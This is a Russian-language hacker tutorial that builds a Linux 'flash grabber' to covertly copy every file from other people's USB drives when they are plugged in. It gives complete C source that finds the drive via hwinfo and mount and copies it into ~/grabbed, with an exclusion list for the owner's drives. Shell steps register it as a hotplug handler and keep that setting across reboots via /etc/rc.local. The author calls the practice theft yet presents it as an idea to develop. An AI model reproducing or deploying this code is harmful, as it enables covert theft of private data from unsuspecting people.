Скрытое копирование данных с флэшки
Сегодня мы будем делать из пингвина Тукса пылесос, только вместо пыли у нас будет информация, а именно - файлы с flash-накопителей, в народе просто флэшек. Сразу хочу предупредить, что копирование чужой информации без ведома владельца - это, по сути, воровство, поэтому эту статью не следует рассматривать как руководство к действию.
Я заинтересовался этой темой после прочтения статьи Криса Касперски "Предательский антивирус: грабим данные с flash-модулей и CD/DVD" (www.xakep.ru/post/40226/default.asp). В этой статье Крис описывает создание программы-граббера для Windows, маскирующегося под антивирус и под видом проверки носителя утягивающего данные с флэшки. Мы сделаем то же самое, но, во-первых, для "Линукса", а во-вторых, не будем скрываться под обёрткой антивируса (хотя я, конечно, всего лишь даю идею, дальнейшее её развитие зависит от читателя). Нам понадобятся: рабочая Linux (я использую Ubuntu 8.10, в других дистрибутивах какие-то моменты могут отличаться), компилятор gcc, руки (желательно прямые) и желание. Хочу сразу сказать, что мы не будем лезть в исходники системы, изменять стандартную утилиту mount или бить приятеля, пришедшего к тебе с флэшкой, коробкой с диском Linux, чтобы отобрать носитель.
Итак, сначала теория. Аналогом технологии Plug'n'Play Windows'а в Linux является hotplug. Hotplug - это набор скриптов, которые запускаются при подключении устройств к компьютеру. Нам эта штукенция интересна, прежде всего, наличием скрипта /proc/sys/kernel/hotplug, который запускается при подключении любого устройства. Мы будем использовать его для запуска нашего скрипта, который будет запускать граббер. К чему такие сложности? Дело в том, что скрипты из /proc/sys/kernel/hotplug исполняются сразу после подключения флэшки, однако системе требуется некоторое время, чтобы подмонтировать диск, поэтому из нашего скрипта граббер будет запускаться с небольшой задержкой.
Но как узнать, что была подключена именно флэшка? Для этого мы будем использовать утилиту hwinfo. Она выдает полную информацию обо всём железе, а при указании опций - только о конкретном наборе девайсов. Если мне не изменяет память, в стандартном комплекте Ubuntu этой утилиты нет, поэтому сначала надо её поставить:
$ sudo apt-get install hwinfo
После изучения man узнаем, что за выдачу информации о дисках отвечает ключ --disk. Посмотрим на вывод:
$ hwinfo --disk 31: SCSI 600.0: 10600 Disk [Created at block.234] UDI: /org/freedesktop/Hal/devices/storage_serial_Kingston_DataTraveler_2_0_5B7908865370_0_0 Unique ID: oE0T.7GV9h6c3JI0 Parent ID: 5YuN.JONY1UuwJT1 SysFS ID: /class/block/sdb SysFS BusID: 6:0:0:0 SysFS Device Link: /devices/pci0000:00/0000:00:1d.7/usb7/7-6/7-6:1.0/host6/target6:0:0/6:0:0:0 Hardware Class: disk Model: "Kingston DataTraveler 2.0" Vendor: usb 0x13fe "Kingston" Device: usb 0x1d00 "DataTraveler 2.0" Revision: "PMAP" Serial ID: "5B7908865370" Driver: "usb-storage", "sd" Driver Modules: "usb_storage" Device File: /dev/sdb (/dev/sg2) Device Files: /dev/sdb, /dev/disk/by-id/usb-Kingston_DataTraveler_2.0_5B7908865370-0:0, /dev/disk/by-path/pci-0000:00:1d.7-usb-0:6:1.0-scsi-0:0:0:0, /dev/block/8:16 Device Number: block 8:16-8:31 (char 21:2) Features: Hotpluggable Speed: 480 Mbps Module Alias: "usb:v13FEp1D00d0100dc00dsc00dp00ic08isc06ip50" Driver Info #0: Driver Status: libusual is active Driver Activation Cmd: "modprobe libusual" Drive status: no medium Config Status: cfg=new, avail=yes, need=no, active=unknown Attached to: #15 (USB Controller) 32: IDE 200.0: 10600 Disk [Created at block.234] UDI: /org/freedesktop/Hal/devices/storage_serial_1ATA_ST9250827AS_5RG0QCKD Unique ID: 3OOL.3bL9KT8oPs8 Parent ID: w7Y8.VU5GOIy1ynA SysFS ID: /class/block/sda SysFS BusID: 2:0:0:0 SysFS Device Link: /devices/pci0000:00/0000:00:1f.2/host2/target2:0:0/2:0:0:0 Hardware Class: disk Model: "ST9250827AS" Device: "ST9250827AS" Revision: "3.AA" Driver: "ahci", "sd" Driver Modules: "ahci" Device File: /dev/sda Device Files: /dev/sda, /dev/disk/by-id/scsi-1ATA_ST9250827AS_5RG0QCKD, /dev/disk/by-id/ata-ST9250827AS_5RG0QCKD, /dev/disk/by-path/pci-0000:00:1f.2-scsi-0:0:0:0, /dev/block/8:0 Device Number: block 8:0-8:15 Drive status: no medium Config Status: cfg=new, avail=yes, need=no, active=unknown Attached to: #11 (SATA controller) |
Ясно видно, что в системе присутствуют два диска: флэшка и SATA жёсткий диск. Внимательнее присмотревшись, замечаем, что мы можем однозначно определить тип диска ("usb_storage") и файл устройства (/dev/sdb). Итак, флэшку мы нашли. Осталось скопировать информацию. Можно, конечно, читать прямо из файла устройства, но мы поступим проще. Воспользуемся тем, что в десктопных Linux вообще и в Ubuntu, в частности, флэшки автоматически монтируются при подключении. Значит, во время запуска граббера в каталоге /media/ будет существовать каталог флэшки. Чтобы определить его имя, воспользуемся утилитой mount, которая при запуске без параметров выдаёт список смонтированных файловых систем:
$ mount /dev/sda6 on / type ext3 (rw,relatime,errors=remount-ro) tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) /proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) varrun on /var/run type tmpfs (rw,nosuid,mode=0755) varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777) udev on /dev type tmpfs (rw,mode=0755) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) fusectl on /sys/fs/fuse/connections type fusectl (rw) lrm on /lib/modules/2.6.27-9-generic/volatile type tmpfs (rw,mode=755) /dev/sda5 on /media/DATA type fuseblk (rw,nosuid,nodev,allow_other,default_permissions,blksize=4096) securityfs on /sys/kernel/security type securityfs (rw) gvfs-fuse-daemon on /home/painkiller/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=painkiller) /dev/scd0 on /media/cdrom0 type udf (ro,nosuid,nodev,utf8,user=painkiller) /dev/sdb1 on /media/KINGSTON type vfat (rw,nosuid,nodev,uhelper=hal,shortname=mixed,uid=1000,utf8,umask=077,flush) |
Нас интересует последняя строчка, из которой мы видим, что флэшка смонтирована в каталог /media/KINGSTON. То, что это именно флэшка, мы видим по названию файла устройства /dev/sdb1.
Всё, сбор информации завершен, займёмся реализацией. Непосредственно копирование мы будем производить командой cp. Скопированные файлы будем класть в папку ~/grabbed. Также реализуем возможность задавать исключения, чтобы граббер не копировал файлы с твоей собственной флэшки. Для этого вернемся к выводу команды hwinfo -disk, а именно - к строчке:
Unique ID: oE0T.7GV9h6c3JI0
Это, как видно, уникальный номер устройства. Вот его и будем использовать для различия "своих" и "чужих". Итак, вот код:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define UNIQ_ID_STR "Unique ID: " #define DRIVER_MODULES_STR "Driver Modules: \"usb_storage\"" #define DEVICE_FILE_STR "Device File: " #define TMP_FILE_NAME "fgtmp" #define EXCLUSIONS_FILENAME "exclusions" //load exclusions char *load_excl(char *path) { FILE *f; char *out; char buff[11]; char *filename = malloc(strlen(path) + strlen(EXCLUSIONS_FILENAME) + 1); strcpy(filename, path); strcat(filename, EXCLUSIONS_FILENAME); out = NULL; f = fopen(filename, "r"); if (!f) return NULL; while (!feof(f)) { memset(buff, '\0', sizeof(buff)); fgets(buff, 10, f); out = (char *) realloc(out, ((out == NULL) ? 0: strlen(out)) + strlen(buff)); strcat(out, buff); strcat(out, "\0"); } fclose(f); return out; } //cut path from full file name char *getfilepath(char *filename) { char *fn = strdup(filename); int i = strlen(fn)-1; for (; i >= 0; i-) { if (fn[i] == '/') { fn[i+1] = '\0'; break; } } return fn; } int main(int argc, char** argv) { FILE *f; char buff[255], *exclusions, *p, devicefilename[255], finalepath[255]; int exclude = 0, savedevfile = 0; p = getfilepath(argv[0]); exclusions = load_excl(p); free(p); p = NULL; sprintf(buff, "hwinfo -disk > %s", TMP_FILE_NAME); system(buff); f = fopen(TMP_FILE_NAME, "r"); if (!f) { printf("Error while opening file"); return -1; } while (!feof(f)) { memset(buff, '\0', sizeof(buff)); fgets(buff, 254, f); if (((p = strstr(buff, UNIQ_ID_STR)) != NULL) && strstr(exclusions, (p+strlen(UNIQ_ID_STR)))) { exclude = 1; continue; } if (!savedevfile) savedevfile = ((strstr(buff, DRIVER_MODULES_STR) != NULL) && !exclude); if (((p = strstr(buff, DEVICE_FILE_STR)) != NULL) && savedevfile) { sscanf(p + strlen(DEVICE_FILE_STR), "%s", devicefilename); break; } } fclose(f); free(exclusions); sprintf(buff, "mount > %s", TMP_FILE_NAME); system(buff); f = fopen(TMP_FILE_NAME, "r"); if (!f) { printf("Error while opening file"); return -1; } while (!feof(f)) { memset(buff, '\0', sizeof(buff)); fgets(buff, 254, f); if ((p = strstr(buff, devicefilename)) != NULL) { sscanf(p + strlen(devicefilename) + 5,"%s", finalepath); strcat(finalepath, "/"); break; } } fclose(f); unlink(TMP_FILE_NAME); if (strcmp(finalepath, "")) { sprintf(buff,"mkdir ~/grabbed/ && cp %s* ~/grabbed/", finalepath); system(buff); } return 0; }
Теперь поясню некоторые моменты. Функция load_excl читает из файла список исключений, собирая путь к нему из параметра и жёстко заданного имени. Файл исключений представляет собой обычный текстовый файл, в котором на каждой строчке написан один Unique ID, т.е. в результате мы получаем указатель на строку со списком исключений, разделённых символом переноса строки. Назначение функции getfilepath понятно из названия. Функция main начинается (не считая объявления переменных) с получения пути к исполняемому файлу программы и чтения списка исключений (предполагается, что файл исключений лежит в одной папке с исполняемым файлом). Далее мы запускаем hwinfo - disk и перенаправляем её вывод во временный файл. Затем начинаем потрошить этот файл: читаем строку и проверяем, что мы прочитали - строку с уникальным номером, имя драйвера (напомню, что по нему мы определяем тип устройства) или строку с именем файла устройства. После всего этого в буфере devicefilename будет записано имя файла устройства. Далее проделываем все те же манипуляции, но для вывода команды mount, дабы получить точку монтирования флэшки. После чего выполняем команду копирования:
sprintf(buff,"mkdir ~/grabbed/ && cp %s*
~/grabbed/", finalepath);
system(buff);
Теперь осталось скомпилировать программу:
gcc -Wall -o flashgrabber flashgrabber.c
и, вставив флэшку с какими-нибудь файлами, запустить. Заработало? Хорошо. Не заработало? Ищите опечатки в коде.
Однако ручной запуск нас не устраивает, поэтому возвращаемся к ранее составленному плану. Сначала напишем скрипт, который после небольшой паузы будет запускать граббер:
$ sudo nano /usr/sbin/fg.sh
[sudo] password for painkiller:
#!/bin/bash
sleep 10
~/flashgrabber_src/flashgrabber
Естественно, сохраняем файл: CTRL+O, ENTER и выходим: CTRL+X. Теперь делаем из обычного файла скрипт :) :
$ sudo chmod +x /usr/sbin/fg.sh
Теперь сообщаем системе, что этот скрипт необходимо запускать каждый раз, когда к компьютеру подключается устройство:
$ sudo nano /proc/sys/kernel/hotplug
[sudo] password for painkiller:
/usr/sbin/fg.sh
Сохраняем, выходим. Всё, осталось лишь проверить работу: вставляем флэшку ещё раз и ищем в домашнем каталоге папку grubbed.
Однако существует небольшая проблема. Дело в том, что Ubuntu любит очищать файл /proc/sys/kernel/hotplug при запуске системы, то есть мы должны обновлять запись в файле при каждой загрузке. Сделать это можно так:
$ sudo nano /usr/sbin/refreshhp.sh
[sudo] password for painkiller:
#!/bin/bash
echo "/usr/sbin/fg.sh" > /proc/sys/kernel/hotplug
CTRL-O ENTER CTRL-X
$ sudo chmod +x /usr/sbin/refreshhp.sh
$ sudo nano /etc/rc.local
В файле /etc/rc.local могут быть вызовы других скриптов. Вызов нашего скрипта можно вставить в любое место файла до строки exit 0 (т.к. скрипт лежит в папке /usr/sbin/, полный путь можно не писать):
...
refreshhp.sh
...
exit 0
Таким вот нехитрым образом мы превратили домашнего пингвина в шпиона. Конечно, можно придумать и мирное применение нашей задумке - например, синхронизация файлов при каждом подключении личной флэшки, но дальнейшее развитие технологии целиком зависит от читателя - я всего лишь указал путь. А что будет в конце этого пути - решать вам.
PainKiller,
SASecurity gr.
q@sa-sec.org
Горячие темы